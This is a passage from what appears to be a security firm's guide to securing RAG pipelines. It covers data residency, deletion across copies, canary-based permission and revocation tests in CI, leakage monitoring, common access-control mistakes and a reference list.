A RAG pipeline creates copies of source data in places your existing data inventory may not list: the embedding provider (documents and queries are sent for embedding), the vector store, the model provider (retrieved chunks are sent in prompts), traces, caches, evaluation datasets and backups of all of them. Each copy needs a location, a retention period and a deletion path.
Residency. If a contract or regulation requires data to stay in a region, that applies to embeddings and prompts too. Check where your embedding and model endpoints process and store data, and pin region-specific endpoints where the provider offers them. Self-hosting the embedding model is the cleanest answer when residency is strict.
Retention and deletion. When a source document is deleted, or a data subject asks for erasure, the deletion has to reach every copy. Some specifics for PostgreSQL:
- The PostgreSQL documentation puts it plainly: "In PostgreSQL, an
UPDATEorDELETEof a row does not immediately remove the old version of the row." The data stays on disk untilVACUUMreclaims it, and in backups and WAL archives until those expire. The pgvector README notes that vacuuming HNSW indexes can be slow and suggests reindexing first. - Evaluation sets built from real queries and retrieved chunks are copies too. Build them from synthetic or approved data where possible.
Model changes. When you change embedding models, re-embed the whole corpus. OWASP's 2026 guidance warns that mixing old and new vectors creates exploitable gaps in similarity behavior, and old vectors are one more copy to delete.
9. Evaluating and Monitoring for Leakage
Permission bugs in RAG are silent: nobody reports an answer that was too helpful. Offensive testing of LLM applications is a subject of its own; this section covers the checks that belong in your build and operations.
Permission tests in CI. Seed a staging index with synthetic documents and synthetic users across your permission patterns (group grants, nested groups, link sharing, deny entries you chose to exclude, cross-tenant), and assert who can retrieve what. Include a canary, a unique string that appears only in restricted documents:
CANARY = "canary-5e1f0b9a"
CASES = [
# (principals, may_see_canary)
(["user:hr-tester", "group:hr"], True),
(["user:eng-tester", "group:eng"], False),
(["user:contractor", "group:all"], False), # broad grant only
]
def test_canary_visibility(app_conn, embed, tenant_id):
query = embed(f"{CANARY} restructuring plan")
for principals, may_see in CASES:
rows = retrieve(app_conn, tenant_id, principals, query, k=20)
seen = any(CANARY in content for (_id, _doc, _title, _url, content) in rows)
assert seen == may_see, principals
These cases pass principal lists in directly, so they prove the index filter and nothing else. Test the code that builds the principal list separately: remove a test user from a group in your directory and assert that the resolver no longer returns that group. Test retrieval directly, not only through the model. The model may decline to repeat a leaked chunk, which hides the bug without fixing it.
Revocation tests. In staging, remove a test user's access in the real source system, then measure how long until the canary stops being retrievable. That number is your actual revocation delay. Compare it with the target from section 3.2.
Production canaries. Plant canary documents with restricted ACLs in production sources and alert if the canary string ever appears in a response, a trace or a cache entry for a user outside the ACL.
Retrieval telemetry. From the retrieval logs in section 6.3, alert on:
- retrieved documents whose
acl_synced_at, looked up by the logged document IDs, is older than your revocation target; - a document ID retrieved by a principal set that does not overlap its ACL (should be impossible; if it happens, something bypassed the filter);
- unusual query volume or many near-identical queries from one user, which can indicate probing;
- a source whose sync or reconciliation job has not succeeded recently.
Output scanning. Scan responses for secret patterns and canaries before they are returned. It is a last line, not a primary control.
10. Common Mistakes
- Indexing with a super-user service account and no ACLs. The default first build. Every user inherits the service account's access.
- Filtering in application code after retrieval. Unauthorized chunks reach memory, rerankers and traces, results starve, and counts leak.
- Asking the model to enforce access. The prompt is not an authorization layer, and the content is already exposed by the time the model sees it.
- Accepting tenant or group IDs from the client. Scope comes from the verified session.
- Ingesting once and never syncing permissions. Revoked users keep access, and deleted documents keep answering.
- Unfiltered citation lookups. Titles fetched by ID outside the ACL filter leak the existence and subject of restricted documents.
- Logging full prompts to a widely accessible trace store. It becomes an unfiltered copy of the corpus.
- Semantic caches keyed only on the question. One user's authorized answer is served to another.
- Mixing external and internal content in one pool with equal trust. Customer-written tickets and crawled pages become instructions with the authority of your runbooks.
- No revocation target. Without a number, nobody can tell whether permission sync works.
11. How SR&D Can Help
SR&D's Custom Development & R&D service includes applied AI and LLM engineering: LLM features, retrieval over your own data, and tool-using agents, built with the access controls, logging and evaluation that keep them predictable in production. The same service covers AI security research, adversarial testing of models, AI features and agents for prompt injection, data leakage and tool abuse, if you want an existing RAG system tested against the issues in this guide.
References
- OWASP GenAI LLM Top 10 2026
- OWASP LLM09:2026 Vector and Embedding Weaknesses (source text)
- OWASP LLM08:2026 Hidden Context Exposure (source text)
- OWASP LLM10:2026 Improper Output Handling (source text)
- OWASP LLM08:2025 Vector and Embedding Weaknesses
- OWASP LLM02:2025 Sensitive Information Disclosure
- NIST AI 600-1, Artificial Intelligence Risk Management Framework: Generative Artificial Intelligence Profile (July 2024)
- pgvector README: filtering, iterative index scans, HNSW, vacuuming
- PostgreSQL documentation: Row Security Policies
- PostgreSQL documentation: System Administration Functions (current_setting, set_config)
- PostgreSQL documentation: Routine Vacuuming
- Azure AI Search: Vector query filters (preFilter, postFilter, strictPostFilter)
- Azure AI Search: Security filter pattern
- Pinecone: Implement multitenancy
- Greshake et al., Not what you've signed up for: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection (2023)
- Zou et al., PoisonedRAG: Knowledge Corruption Attacks to Retrieval-Augmented Generation of Large Language Models (USENIX Security 2025)
- Reddy and Gujral, EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System (2025)
- Song and Raghunathan, Information Leakage in Embedding Models (2020)
- Morris et al., Text Embeddings Reveal (Almost) As Much As Text (EMNLP 2023)
- Li, Xu and Song, Sentence Embedding Leaks More Information than You Expect: Generative Embedding Inversion Attack to Recover the Whole Sentence (Findings of ACL 2023)
- psycopg 3 documentation: Transactions management
- react-markdown
- gitleaks
- Presidio
Want to learn more?
Our team specializes in offensive security. Get in touch for a consultation.
Read next
How to bring open models, adapters, datasets and AI coding assistants into your engineering organization without importing code execution, tampered weights or invented packages: safe formats, pinning and signing, scanning, AI BOMs, dependency controls and a model registry.
How to build LLM agents that call tools, APIs, shells and browsers without handing an attacker the keys: a threat model built on indirect prompt injection and excessive agency, least-privilege tool design, sandboxed code execution, meaningful human approval, exfiltration controls, MCP server trust, and audit logging.
API vulnerabilities remain a top threat vector. Here's what changed in 2025 and how to protect your endpoints.